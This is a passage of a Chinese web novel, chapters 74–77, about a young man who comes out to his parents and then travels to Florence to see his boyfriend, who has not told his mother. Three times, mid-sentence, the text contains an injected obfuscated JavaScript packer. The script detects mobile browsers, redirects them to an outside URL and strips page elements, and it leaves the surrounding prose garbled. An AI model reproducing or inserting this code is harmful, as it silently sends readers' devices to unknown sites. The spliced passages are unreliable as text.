坐雪桉旁边。正好她是学金融的,给你那……网吧出出主意。” “学妹旁边是程叔的位置。”宴云川说。 说完,程执赶忙摆着手:“欸!小雪平时就不爱跟我聊天,刚刚还让我坐远点!我啊,打算去看看老宴养的金钱龟,就不跟你们年轻人凑热闹咯!”他还拉上宴听松和叶澜,“一块儿走着!” ** 长辈离开,客厅的氛围格外沉默。 宴云川还是没坐到程雪桉身边,只是往程雪桉的方向挪了一格。 两人之间搁着一长壁宽。 到底是客人,宴云川看见程雪桉面前的茶杯空了,就给她倒了半杯茶。 这半杯茶像是鼓励一般,开启了两人第一个话口子:“学长,听伯父说你加盟了一家网吧?” “不是加盟。”宴云川拆穿自家父亲的体面,“朋友的网吧,我代管。” “这样……” 代管和加盟,区别就很大。后者是创业,前者顶多叫打工。 可宴云川不是做游戏的么? 程雪桉想到学校历届优秀毕业生,里面就有宴云川的名字。 她又问:“为什么不做游戏了?” 宴云川回:“跟朋友做了约定。” 曾经在荣誉墙占有几席之地的人,现在因为一个不着调的约定就放弃了游戏行业。这笔账怎么算都不理智。 程雪桉不认可地皱了皱眉,下意识想展示一下自己的专业知识:“学长,网吧行业已经进入成熟期晚期了,长期发展的角度来看,尽早抽身才是利益最优解。金融里有种工具叫‘信用违约互换’——朋友真需要帮助,您该帮他设计风险对冲方案,而不是自己跳进风险敞口。” 话落,宴云川轻轻把茶杯放下,抬眼说道:“谢谢学妹,不过我对象跟你的看法不太一样,他总说‘不能把所有的事都当成一串数字’。” 天晴雨落,行人匆匆,各有各的故事。很多感情账是算不清的。 宴云川刚说完,程雪桉惊讶地站了起来:“你有对象了?” 阳台门被推开,宴听松三个人站在玻璃门边,问出了一样的话。 ** 这场没摆在明面儿的“相亲局”以宴听松两步一鞠躬的道歉结束了。 临走前,程执大气地说:“小孩子隐瞒恋情很正常,我家小学高中早恋也不跟我说。很正常,很正常啊。” 嘴上说着正常,但脸色不太好看。 等门关上,宴听松不知道先该发怒还是先该高兴。一边是面子,一边是儿子终生大事。 倒是叶澜先冷静下来:“你有对象了?什么时候的事?哪里人?多大?家里做什么的?” 宴云川捡着话回:“月中刚追上,苍大经管系大二在读。” 听见是苍大,叶澜表情好看很多。 “家里经商的?”她问道。 宴云川“嗯”一声。 宴听松和叶澜是知识分子,跟学术打了一辈子交道,虽不至于看不起商人,但也觉得不够“雅”。 宴听松眉头一皱,刚准备说点什么,又被叶澜瞪了回去。 “下周带回来见见。”叶澜吩咐着。 然后,宴云川说:“等你们能接受男生的那天我就带回来。” 74.Chapter·出柜 这个“柜”出的属实突然。短短十六个字,叶澜用了将近五分钟的时间都没消化。 “你说什么?”叶澜扶着椅子又问了一遍。 宴云川走到茶几边端了一杯热茶,本意想给叶澜舒舒心。茶杯刚递过去,被叶澜一掌挥落在地,摔得四分五裂。温热的茶水溅湿了半身。 “你说,你喜欢上了一个男生,对吗?”叶澜压着胸口,咬着“男生”这个词又重复了一遍,一副宴云川敢肯定她就敢晕过去的模样。 可自家母亲的承受能力多大,宴云川再清楚不过——他这二十四年大大小小的祸闯了好几箩筐,叶澜最生气的一次,也不过两年前他放弃研究生名额接管了网吧。那次叶澜咳了三天。 有些事总要面对的,或早或晚。 “对。”宴云川没管身上的茶水,直视叶澜的目光,“妈,我喜欢上了一个男生。” 话落,宴听松抄起墙上的鸡毛掸子就抡了过来。鸡毛掸子是实木的,直接让宴云川手臂渗了血。宴云川也没躲,硬生生挨着。 见宴云川没多,宴听松动作愣下来。也就一瞬,家族恐将绝后的愤怒盖过了对儿子的心疼。 “兔崽子!”宴听松抡着鸡毛掸子还想再来一下,“我们宴家怎么养出你这个反了天的玩意!” 手刚挥上天,叶澜走了上来,格外冷静地拦下了宴听松。 她抽走鸡毛掸子,端着身段,嘴角朝宴云川用力挤了个笑:“一定是我们小时候对你太严厉了,所以才会有这种遗留的心理创伤后遗症。” 宴云川摇头:“妈,你们对我很宽容。” “小川,”叶澜笑容拉了一瞬,又挤上去,“性取向本来就是流动的。你现在觉得你是同性恋,这只是阶段性的身份实验,当不了真。” “今天我就当没听见这番话,”她理了理衣角,抬头,“你可以继续跟你的……实验对象交往。我给你时间处理,我相信你能调整好。” “妈,他不是——” “好了!不要再说了!” 宴云川知道叶澜这是想装糊涂糊弄过去,而且,打心底不相信这段感情可以长久。这时候再逼下去容易适得其反。他索性闭了嘴。 离开小区,宴云川看着手臂醒目的紫红色,脚步一转,破天荒主动去了医院。 等从医院出来,宴云川才给时和发去信息。 ** 幻世录视频大赛复赛结果昨天出来了,在一众“花式炫技”的剪辑中,柚子凭借低调又新颖的NPC故事成功晋级。 视频底下很多人评论,说第一次从NPC视角看幻世录,发现别有一番滋味。 也有很多人因为看了视频,开始对NPC的故事产生好奇,在评论区分享她观察到的NPC。评论区成了“故事会”,格外热闹。 [柚子:转账?5000.00] 时和正刷着视频评论,忽然收到柚子转账。他以为柚子转错了,点开转账退了回去。下一秒,柚子又转了五千过来。 [柚子:这次视频空前受欢迎!创作者激励有两万!疯狂锤桌.jpg] [柚子:大佬!多亏你给我的建议和素材!这五千是感谢费!一定要收!] [柚子:单身和川儿他们我都给了!还有川老板!他们收的老快了!] 时和本想婉拒,看见最后一句“还有川老板”,他把打出来的“谢谢”删了,重新打上一句:[宴云川也收了?] [柚子:那倒没有。] [柚子:中午的消息还没回呢,估计忙。] 时和点点头,心想应该还在吃饭。 想法刚上来,微信的特别关注叮地响了一下。宴云川发来消息:[回来了。] 隔了几秒,柚子回了个:[现在收了!] 有了宴云川带头,这个五千的红包还是掉进了余额里。 时和把这事跟宴云川说了一遍,宴云川笑着解释:“柚子父母挺忙。她以前提过一嘴,她们家的奖励都是红包,方便。估计习惯了。” 耳机里的声音衬在几声蝉鸣里,格外慵懒。时和问:[在路上?] 宴云川回:“嗯,快到网吧了。” 时和:[这么快?] 才刚出门两个钟。 其实时和很想知道宴云川回去吃饭发生了什么。听林朔野说,宴云川接了网吧过后和父母的关系就有点儿僵。也不知道会不会骂人…… 不过听这语气,好像没事。 要不要问呢…… 他抿着唇角纠结地在键盘左上角敲敲打打,不一会输入框就出现了一排波浪号。 波浪号刚删除,时和就看见了宴云川发来的信息:“跟我爸妈出了个柜,被赶出来了。” 时和不知道“出柜”是什么意思,现场搜了一遍,一口气险些没上来。 “咳——” 这一咳比任何时候都要严重,哪怕灌了四杯水也没有缓解的意思,反而因为喝的急,咳得更加用力。咳到最后他整张脸都红了。 他压着喉咙回到电脑前,点开宴云川新发的一条语音:“别紧张,没什么事。” 时和心说被赶出来了还叫没什么事? 正断断续续打着字,宴云川又发了一条语音:“学弟,如果不出柜,他们就会给我安排相亲。这么对比,出柜是不是容易多了。” 输入框里的“为什么”停在了原地。 时和本想问“为什么这么突然”,现在只想问:“叔叔阿姨叫你回家是安排了相亲吗?” 可他知道,这句话不用问答案都是“是”。不然宴云川不会用这个理由安抚他。 他跟宴云川在一起的过程其实还算容易——所谓的容易,是指没有其他人破坏。 以至于他忽略了一件事:宴云川会有很多人喜欢,不止他一个。 那如果遇见比他更好的呢…… 时和知道这样想下去没有结果,谁知道什么是比他更好的。 而且,宴云川单身了二十四年都没遇见这样的人,未来几十年估计也遇不上了。 他知道该停止脑海里不切实际的想法,可就是停不下来。 直到宴云川发来两条语音:“我爸妈接受程度还行,只是把我赶出来,没有气晕过去。” “宝贝儿,这条路注定不比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158314|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康庄大道好走。我们已经偏航了,你后悔吗?” 这次的宝贝儿不是打趣。 输入框那句为什么一字一字的删掉。时和打上:[宴云川,世界上没有第二个你了。] 发送过去,他又加上一句:[喜欢上你,是我做过最不后悔,也最有勇气的一件事。] “我也一样。”宴云川回,“世界上也没有第二个时和了。” ** 那天下午,时和跟宴云川打了一下午的PK,好像要把心中恐慌的、不安的、还有那没有察觉的酸涩一并砸进技能里,砸的PK场叫苦连天。 PK大赛如期进行,期间顾泽宸来了一趟,送了一个新的中继器。跟顾泽宸一同过来的,还有他刚满四岁的小女儿。 小孩心眼都是实的,加上这段时间刚受国外民风熏陶,看见时和就跳上去抱着啃,一口一个:“长大了我要做哥哥新娘子。”惹得顾泽宸和濯清啼笑皆非。 “小和哥哥的新娘要跟哥哥一样高才行。”顾泽宸对小女儿说着大人专用鬼话。 小女儿信了:“那我加油吃饭长高!” 她又爬到时和腿边:“哥哥你要等我!”说完就想啃。 有了第一次被啃的经验,第二次在小姑娘牙齿还没咬上来的时候,时和就把人抱了起来。 可他不知道怎么处理小孩,只好抱着尴尬地看向濯清。 濯清打趣:“老实抱着吧。你小时候也这样,逮着妈妈的腿就要啃,不抱起来不消停。” 时和傻眼了,看了眼正在啃手指的小姑娘,还有嘴边没舔干净的口水,一想到自己小时候也这样,就有点接受无能。 考虑到时和的病,装中继器这件事就落到了顾泽宸身上。 房间里,顾泽宸一边调试设备,一边跟濯清寒暄:“小和以后结婚了一定是个温柔爸爸。” 濯清摆摆手:“结婚不结婚的,没谱呢。” 顾泽宸笑了笑:“你呀,就是舍不得小和。” 濯清也没否认:“我好不容易养大的宝贝儿子,还没捂热乎呢,我舍得才奇怪了。” 顾泽宸只当濯清在开玩笑,弯腰钻进书桌底下,插好线,钻出来的时候突然问时和:“小和谈恋爱没?” 时和差点没站稳。 “ME(没)——”他下意识想回答没有,不知怎的,突然想到宴云川昨天的“出柜”事件。 有那么一瞬间他也想出个柜。甚至他都在脑海里演练好了台词:“我谈恋爱了,跟宴云川。” 可没等他把台词付诸于口,濯清倏地说:“他才多大啊就谈恋爱。泽宸,你可别乱教。” 所有的话又没了说出去的勇气。 PK大赛就在这样沉闷的氛围下开始,又在溢出的心事间结束,结果毫无悬念。 世界频道都在为亲友发着应援和恭喜,那些过了海选的在喇叭里发抽奖,长安城的礼炮一声接着一声。 时和下了游戏,关了电脑,感受房间恢复只有他一个人的安静。 他坐在飘窗上,点开微信,对宴云川说:“宴云川,比赛结束了。” “我想你。” 75.Chapter·偶遇 一个“想”字,宴云川买了当晚十点的飞机,到达佛罗伦萨的时候已经是第二天下午两点了。 怕时和担心,宴云川开了全天的空中Wi-Fi。除了起飞和降落,跨洋的时候有两段卫星盲区,其他时间网速还算正常,至少聊天没问题。 而时和头一回知道飞机还能开Wi-Fi,又想到自己错过了十几个小时跟宴云川聊天的时间,懊悔了一个晚上,想用通宵弥补回来,被宴云川打趣:“挺好,看熊猫都不用飞岚市了。” 可他还是兴奋的一晚上没睡。 凌晨一点,时和钻进被窝给宴云川发了一个信息:[宴云川。] 信息秒回:[我在。] 宴云川发了个卫星地图的截图,说道:[还有几个钟就落地了,先去休息,我也眯一会。] 时和回了个:[好。] 结果,凌晨两点,他又闷进被窝:[宴云川。] 消息还是秒回:[我在。] 时和像是发现一起闯祸的同伙一样,嘴角扬得老长:[你不是要眯一会吗?] 宴云川回:[猜到某位学弟没那么老实。] 时和:[那你还让我去睡。] [虽然知道他没那么老实,但还是想试试。] [能闭五分钟是五分钟。]宴云川说着。 佛罗伦萨连续下了三天的大雨,预报显示明天是个好天气。一切都像命中注定。 [宴云川,我第一次谈恋爱。]困意和兴奋交加,时和打字也有点前言不答后语。 宴云川回:[嗯,我也是。] [你知道吗——]时和打完这几个字就困了。 困意把意识夺走前他打完了剩下一句:[原来真的有人为了我跨越山河万里。] 但没发出去。 ** 隔天,时和再看这句话,觉得自己昨晚一定是被什么东西附体了才会这么矫情。 他看着一句又一句的“宴云川”,还有那句“我第一次谈恋爱”和“山河万里”,原本想起床,一瞬间羞恼上头,又躺尸一样躺了回去,把被子一拉,脑袋一盖,准备失忆。 刚启动记忆清空程序,濯清在门外喊吃早餐,打断了施法。 他挣扎无门,这才揉着头发闷在枕头里崩溃地喊了几声爬起来。起来第一件事就是把聊天框的信息删了,一本正经地给宴云川发了个“早”。 佛罗伦萨的家政不像榕城,她们单人单职,做饭的就绝对不做家务,而且大多数人周末不上班。刚好今天周六。 濯清摆着煎蛋和三明治,看见睡眼惺忪还在打哈欠的时和皱了皱眉:“闹钟响好几回了。” 时和囫囵点了点头,走向洗手间。 濯清察觉不对。等人从洗手间出来,飘向洗漱台的时候,她跟上去问:“昨晚做噩梦了?” “没有啊,妈。” “那你怎么一脸熬了大夜的憔悴样?” 时和正挤着牙膏,标准的一字挤变了型。 他心说:凌晨两点的夜应该不算大。 总不能让濯清知道他真熬夜了。时和刷着牙,借着那点薄荷让脑子清醒了一点。他随口用了一个理由:“昨晚有点热。” 听见这个理由,濯清眯了眯眼。时和还以为濯清发现了什么,刷牙都刷的心虚。 结果濯清来了句:“宝贝,你该不是不想吃猪心,在这儿哄妈妈呢吧?” 时和:“……” 见时和刷牙动作顿下来,濯清坚信自家儿子梦魇了,还在逃避猪心汤。不等时和解释,濯清直接拍板,决定中午煲个百合猪心。 时和差点刷牙刷到反胃。 吃过早餐,濯清准备去市场买猪心。时和忽然叫住她:“妈,我——”开了个口便没了声。 濯清放下门把:“怎么了宝贝?” 时和张张嘴,又摇头。 “宝贝。” 濯清一副“不说我就不出门”的模样站在门口。时和眼皮耷着。等到濯清又喊了他一次,准备走进门了,他才说:“我不想吃猪心。” 但是实际上他想说:“妈,宴云川来了,我想去机场接他。” 又不知道怎么解释宴云川过来的事。 他又一次意识到,原来横在他和宴云川之间的距离不光是榕城和佛罗伦萨,更多的是濯清。 ** 最终这个猪心还是买了回来。濯清在厨房煲汤,时和坐在沙发上有一搭没一搭聊着微信。 他既想宴云川马上到,又想宴云川晚点到。既希望宴云川主动提出愿望让他去接,给他一点勇气,又希望宴云川不要开口,让他继续退缩。 宴云川可能只听见了他后一半的愿望,全程没有开口。于是,时和一顿午饭吃得味同嚼蜡。 宴云川肯定猜到了,他心想。 猜到了他在躲。 吃过午饭,宴云川发来消息:[快落地了。] 时和在输入框删删减减,从“等下去哪”说到“平安”,又觉得每一句话都很刻意。 最后,他发了一句:[有车来接吗?]想着宴云川只要回答“没有”,他就立马出去。从这儿过去机场不算远。 可宴云川却没了回复。 直到二十分钟后,宴云川才回:[有。] 愿景落了空,时和以为自己会庆幸,可到头来只剩满心的失落和懊悔。 他闷闷喝了一口水,想了想又问:[住哪?] 宴云川说:[已经订好了。] 那点“如果宴云川没找到住的地方,就推荐他来这儿”的愿望又落了空。 濯清正准备出趟门,换好衣服就看见自家儿子盘坐在沙发上心事重重。 她紧锁眉头,走上去就给时和额头来了一下,嘴里喃喃:“没发烧啊……” 濯清手很冰,时和给冻了一激灵。 “妈,我没事,”时和推开濯清的手起身走到茶水间,他往玻璃杯里加着茶叶说,“我就是没睡好,有点儿困。” 濯清心疼问:“昨晚梦见什么了?” 时和也懒得解释了,顺着这个现成的理由说:“梦见……”热水冲进玻璃杯里,把指尖烫了一下。他捏了捏指头,接着说,“梦见我面前有很多条路,每一条都长得一模一样,无论我怎么选,路的尽头都是一片迷雾……” 他自己都分不清,到底哪一条是对的。 说话间,濯清已经把梦的内容丢进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168411|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个解梦软件里:“这里说——在梦里迷路说明你对未来结果存在不确定或者担忧,潜意识提示你‘选择困难’并非取决于选项的好坏,而是因为你拿到的信息不足,或者标准不清。” 濯清每说一句,时和眼底的诧异就深一分。说到最后,时和感觉自己真做了这样的梦一般,不然为什么连梦境的分析都这么准。 然后,濯清就问:“宝贝,是呆在家里太闷了吗?”直接把他从“未来的担忧”拉回了当下。 大概觉得他这是闲出的毛病。 时和天马行空地想到一个可能:如果他这会跟濯清出门,假装往机场的方向走,会不会“偶遇”宴云川? 思及此,他心脏跳得跟打鼓似的。分不清是对出门的恐惧,还是即将见到宴云川的激动。 “妈——”时隔两周,时和第一次提出下楼,“我想出门走走,可以吗?” 濯清没反应过来。 时和又问了一遍:“可以吗……” 濯清笑了声,又捋了捋头发,原地踏了两圈,相当高兴:“当然可以啦!” 用最快的速度换好了衣服,扣上了帽子。看着满抽屉的帽子,时和又把扣好的帽子摘了下来,换上了第一次和宴云川见面的那一顶,还有一样的衣服。 这样宴云川肯定能认出他来。 抱着这样的心思出了门。周六的公寓偶有几个租客站在走廊边聊天,看见濯清热情地打了个招呼,哪怕她们彼此不认识。 看见时和的时候,两人用意大利语说了句:“你舍友真帅!” 濯清笑着介绍:“这是我儿子。” 两人对视一眼,满脸不敢相信。 出门就碰上了一场寒暄,让时和好不容易做的心理建设崩塌了一半,险些退回去。好在想见宴云川的信念稳住了另外一半。 他住在二楼,往下一层又遇见拎着垃圾准备丢的一对夫妻,用意大利语打着招呼:“CIAO。” 濯清点着头,回了个:“CIAO。”(嗨。) 两人望着时和,直到时和说了一模一样的话,他们才满意离开。 走个楼梯的功夫,时和快崩溃了。 濯清在旁边看的好笑:“意大利人热情,妈妈刚来那会一天得打几百个招呼。” 时和僵硬地点了点头。 濯清又说:“不行我们晚上再出门吧。” 时和赶紧摇头:“不用!不用,就现在。” 话音刚落,一楼院门打开。如同所有次的初见一样,熟悉的身影穿着一袭白衣,站在午后的阳光下,扬着熟悉的笑。 “伯母,”宴云川拖着行李箱走进来,“学弟,好巧。准备出门吗?” 时和不知道自己是怎么回道房间的。只知道濯清在他和宴云川之间来回扫了几眼,依稀听见一声嗔怪:“肯定是小和缠着你来的吧。” 宴云川好像说:“……正巧忙完一阵想出来放松一下……学弟说做我导游……他向我我极力推荐这家民宿,说是得到您的认证的,环境不比榕城家里差……” 等濯清倒茶的功夫,时和收到宴云川微信: [不用出门。] [我会来偶遇你。] ** 76.Chapter·策划 看着这句话,时和沉默了一小时。他不是不想说话,是怕自己一开口,就藏不住话里话外想抱住宴云川说“喜欢”的冲动。 他听着濯清和宴云川从“网吧近况”聊到“这次准备要多久”,只是压着情绪回了两句。 佛罗伦萨今天的天气果然很好,风吹起纱窗,在空荡的客厅分出明暗两片。濯清坐在阳光下,他和宴云川在暗处。 宴云川租的房间就在楼上,一样的户型。说来很巧,上一个租客本来说月初退租,临时有点事儿离开了。房东太太连夜通知了宴云川。 房租交了半个月。 公寓家具齐全,房东太太几天前就搞好了卫生,完全可以拎包入住。只是多少得收拾。收拾一些衣服和日用品,床单也得换。 濯清想帮忙,时和忍不住提醒:“妈,您待会不是有个视频会么?”开口便是面红耳赤的着急。 可平日里时和紧张起来也面红耳赤,濯清并没察觉异常,只当他是太久没看见宴云川,不习惯。她摆摆手:“妈妈收拾很快。” 反倒是时和因为心虚不敢说话了。 时和一时有点愣,下意识看向宴云川。 只一个眼神,时和感觉沙发末端的人笑了一下,哪怕宴云川没有出声。 他撇过头,听见宴云川说:“麻烦伯母了。”眼神又不可思议地望了回来。 “只是我东西不多,”宴云川顶着自家男朋友控诉的眼神,喘着大气说。说着又看向时和,“如果可以,学弟上楼帮忙整理一下可以么?” 时和“矜持”点了点头。 经过宴云川一番“交涉”,帮忙的“艰苦”任务还是落到了时和身上。 临走前濯清不放心地跟宴云川交代,“小和家务不做的少,有什么事毛毛躁躁的地方多担待。实在不行就给我打电话,或者让小和下来叫一声——” 濯清说的还算客气,那句“家务做的少”实在是给足了时和面子。毕竟时和在家里从没做过家务。可再这么说下去,难免要掀老底。 所以,不等濯清继续说完,时和一连叫了几声“妈”,把人推进客厅后,砰地关上门。 门外传来一声轻笑,被时和“警告”了一眼。 两人一前一后上了楼。等宴云川开锁,又进门。门合上的瞬间,时和立马卸掉了所有伪装,行李箱都没拆直接拉着宴云川滚到了墙上。 一番啃咬,宴云川衣服微微凌乱。T恤外的衬衫袖子往上卷了边。眼看要露出伤疤,宴云川抬手把衣袖扣紧。 扣子刚前脚钻进孔,时和后脚亲了上来。 宴云川笑着喘气:“学弟,这么急。” “你不想吗?”时和问。 怀里的人眼神出乎意料,炽热又大胆。宴云川瞳孔变深,低下头说:“每时每刻。” 意大利的房间装潢重工艺,廊柱和转角都带上了雕花,墙上贴着浮雕工艺墙纸。墙纸摩擦皮肤,指尖都在颤。 “唔——”时和感觉自己要嵌进墙里了。 为了让自己保持一点理智,时和强迫自己说点什么转移注意力。不过这样的理智有点断断续续:“网吧——呜——半个月、网吧不忙吗?” “有秋儿在。”宴云川亲着时和眼睛,“刚给秋儿升了店长合同。” 时和不知道这两者有什么联系,半推半就又享受地看着宴云川。 宴云川的吻又移到时和颈间:“新官上任正烧着火。店长出门给我下命令了,玩不够半个月让我别回去,否则她就辞职。” 时和心说骗人。宴云川拖着时和的腰,在耳垂上轻轻咬了一口:“学弟,专心点。”咬的时和险些融成墙上一幅画,什么问题都没了。 两人一路从门边滚到开放式的吧台,又滚上了沙发。亚麻沙发摩擦效果比墙纸更猛烈。时和手指陷进椅背的罗马柱凹槽里。 察觉自己理智即将到极限,他想借力推开宴云川。手还没抬起来就被按在了沙发上。 阳光落在沙发上,刚好看清沙发间的迷离。 “这里没有摄像头。”宴云川把手伸进时和衣摆里,摩挲着腰,贴在耳廓边循循引诱,“也没有人,隔音很好。” “伯母听不见。” “宝贝儿,我可以帮你。” … 每说一句,时和理智就后退一分。最后那声“宝贝儿”一出,时和攀在椅背的手软软摊在一边,唇瓣微涨,一副“任人宰割”的失神样。 “宰割”仪式刚准备开始,门铃响了,比房间的喘息声更加热烈。 ** 门铃响了七八遍,电话打进来了,宴云川才开。濯清进了门,看见客厅摆着摊开的行李箱,沙发上堆着还没整理的衣服,窗户开着。除了门口玄关柜上的摆件倒了,其它地方有条不紊。 她顺手扶起摆件,张望找时和。宴云川看了看洗手间方向:“他在洗手间。” “这孩子,一紧张就这样。”濯清佯装数落,终于忍不住拆儿子的台,“我想来想去还是得上来一趟。小和平时只会把衣服丢进筐里,半点儿家务不做,我怕他添乱。” 说话间,时和带着凉气从洗手间出来,捧水捧得急,发梢还滴着露珠。 他哑着声音喊了声:“妈——”察觉声音不对劲,又清了清嗓,“……我哪有添乱。” 如果说日常的时和七分要面子,那宴云川面前的时和就是上不封顶。 只是今天这样的好面子,还带着一丝淡淡的恍然和自己都没察觉出来的不满。 说不上是对自己,还是对濯清。 濯清看着洗手间方向问:“你看看你看看,是不是没开排风?” 不知道自己嗓子恢复了多少,时和也不敢贸贸然开口,只好顺着濯清的话点头。 见时和神色不对,濯清带着担忧念叨着:“就说这孩子让我不放心……”她环视了客厅一周,似乎在思考从哪开始下手,边巡视边跟宴云川解释,“我刚才忘了提了,他有点儿粉尘敏感……刚搬回榕城那天也是忘记开排风,出来咳的我差点儿以为他病毒感染了,还让人专门来家里做了一次消杀……” 宴云川说道:“抱歉伯母,是我疏忽了。” 濯清摆摆手:“我从小提醒惯了,让他对自己向来不上心——” 其实时和的粉尘敏感没有濯清说的那么严重,大多数人多少都会在灰尘多的地方打几个喷嚏。只是刚回榕城那天他恰好有点感冒,喷嚏打的多了些,濯清把这两件事关联到了一块。 “妈!”时和不想让宴云川觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190491|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得自己真“惯坏了”,连忙阻止濯清继续往下说。 ** 有了濯清,房间三下两下焕然一新。宴云川带来的衣服不多,四五套,两人在房间待不到三分钟就挂好了。 濯清还想帮忙铺床单。男生或多或少有些领地意识,宴云川便婉拒了。 有那么一刻,时和突然觉得这真像一家人。 这样的想法没持续多久。濯清有点洁癖,觉得公寓窗帘被很多人蹭过,不干净。于是大手一挥,让人送了套跟时和一模一样的窗帘过来。 忙完这一切濯清才火急火燎地下楼,继续刚才没开完的会,还想把时和叫下去。 现在又不像一家人了。 时和找了个借口:“等下有个副本要打。”又用温软的眼神顺理成章的获得了半小时自由。 只是这一次,他什么也不敢做了。因为他不知道什么时候濯清还会上来敲门。 等客厅门关上,宴云川还没转身就听见身后的人声音低低地说:“我妈不知道。” 宴云川脚步顿了一下,“嗯”一声。 时和以为宴云川没听明白,或者听明白了,为了迁就他在装傻充愣。 许是太久不见,空荡的房间让人心口酸。跨越几千公里的想念和压抑在这一刻忽然找到了一个缺口。时和一字一句对宴云川说:“宴云川,我妈不知道,不知道我和你在一块了。我没说。” 客厅陷入了短暂的安静。宴云川走到时和身边,把人带到沙发上坐着,点开幻世录:“觉得我出柜了,你没有,对我不公平,对吗?” 时和握紧了手,点头。 桌上的笔记本已经登上了游戏,帮派领地有人在举办抽奖活动,好不热闹。 宴云川点开长安主城,到寄货铺门口,对着时和说:“操作一下交易系统,买两颗草。” 时和看了眼宴云川,又照着做。 “有什么不舒服的感觉吗?”宴云川问。 时和摇摇头。 宴云川用手指碰了碰寄货铺门口围着的一群人,说:“现在有一群高玩,这群人是游戏流水大头,可他们已经对目前UI页面操作产生了思维固化,一旦改版UI,这群玩家就会退游。你会怎么做?” 时和不傻,听出了他在暗示濯清就是那个“高玩”,而改版UI,就是出柜。 而他的答案依旧:“先保留原有UI不变。” 宴云川认同说:“对。” “保留原有UI。” 时和不知道宴云川想表达什么。如果只是想说现状不能变,难道要一辈子这样吗? 他目光疑惑又不认同地看向宴云川:“保留原有UI,那然后呢?” “然后引入一个带有新UI的NPC。”宴云川指了指自己,“刷NPC互动频次和好感度,给NPC和玩家之间产生必要任务,让玩家慢慢习惯。” 屏幕里,界面还保持着交易行的模样,两颗草交易成功,铜钱立马到账。 宴云川看着时和一脸被新世界观冲击的模样笑了笑。 “所以,”他说,“宝贝儿,需要你这和策划帮我在我和伯母之间布置任务,等一个时机成熟。” 说着他亲着时和发梢:“别怕,你没有做错。” 77.Chapter·金鱼 当晚,时和躺在床上一直在思考着宴云川说的那些话。 卧室很安静,因为太安静了,不知道是他的错觉还是怎的,总能听见楼上一些动静。像是在走路,又好像搬了个什么东西。 宴云川就在楼上。 想到这一点,时和再听这些声音,总感觉是宴云川隔着一层楼的距离在跟他说话。 他拿出手机给宴云川发了个信息:[睡了吗?] 楼上动静停了下来。 宴云川:[在装路由。] 宴云川:[睡不着吗?] 时和:[有点。] 现在已经十点过半。如若以往,时和已经在跟周公约会了。可今天太过兴奋,加上楼上细细若若的声音,他就失眠了。 原以为破除了榕城和佛罗伦萨的距离,他对宴云川的想念就会淡一些。可现在他发现,距离缩短过后他更想见宴云川了。 想法刚冒出头,宴云川直接来了个语音,吓得时和手忙脚乱坐了起来。 语音接通,时和戴上耳机,悄悄走到门边,听见门外没动静才放心小声地打了招呼。 耳机响起窸窸窣窣的声音,偶尔还有电路接通的提示音。宴云川在这堆声音里说:“不用说话,我开着语音,你就当白噪音听。” 时和心说怎么可能,光是听着宴云川呼吸他都心猿意马了。下一秒,耳机里的呼吸声就放轻很多,像是猜到了他的不怀好意一样。 他抿了抿嘴唇,有所不满。可宴云川好似铁了心来催眠的,接下来都没说过一句话。 时和是被敲键盘的声音弄睡的。 ** 隔天一早,时和醒来发现语音已经挂了。他看了看时间,凌晨一点。 他抬头看了看天花板,好像这样就能看见宴云川一样。随后想到自己的行为有点愚蠢,时和揉了把脸,红着脖子起床了。 濯清今天还是休息,大清早就在开会。 桌上早餐十分丰盛,肉包米粥和核桃糊一条龙服务。可时和吃的心不在焉。 一想到宴云川就在楼上,时和有点坐不住。人在椅子上,魂已经不知道钻进哪个被窝了,以至于濯清开会结束喊了他好几遍他才听见。 他一直在想用什么理由去楼上多待一会,结果瞌睡了就有人递枕头。 濯清收着电脑说:“妈妈要出去一趟,估计中午回不来。妈妈尽量赶,如果实在赶不回来……” 虽说佛罗伦萨大部分人周日都不工作,可总有一小部分“留学生”,比如国内合作方忽然丢点什么项目,或者问个什么进度。 看濯清的神情就知道在担心时和午饭。 “赶不回来妈妈让小莉送一份餐过来。”濯清说着往外走。 时和忽然福至心灵,想到宴云川在楼上。他喊下濯清:“妈!我可以去宴云川家里吃。” “小川会做饭?”濯清有点诧异。 “会。”时和说。 其实时和也不知道会不会,他满脑子都想着借这个机会跟宴云川多待一会。 濯清很急,没去想宴云川要不要出门,不是来旅游的吗,会做哪些菜。 她直接说:“那麻烦小川了!正好家里食材没用完,可以用家里厨房!”留下这句话就火急火燎出门了,给时和一个人愣在原地。 不过,只是“可以”来家里,又没说一定要。时和自动忽略这句可以,心情愉悦地给宴云川发了条微信:[想刷好感吗?] 微信秒回:[当然想。] 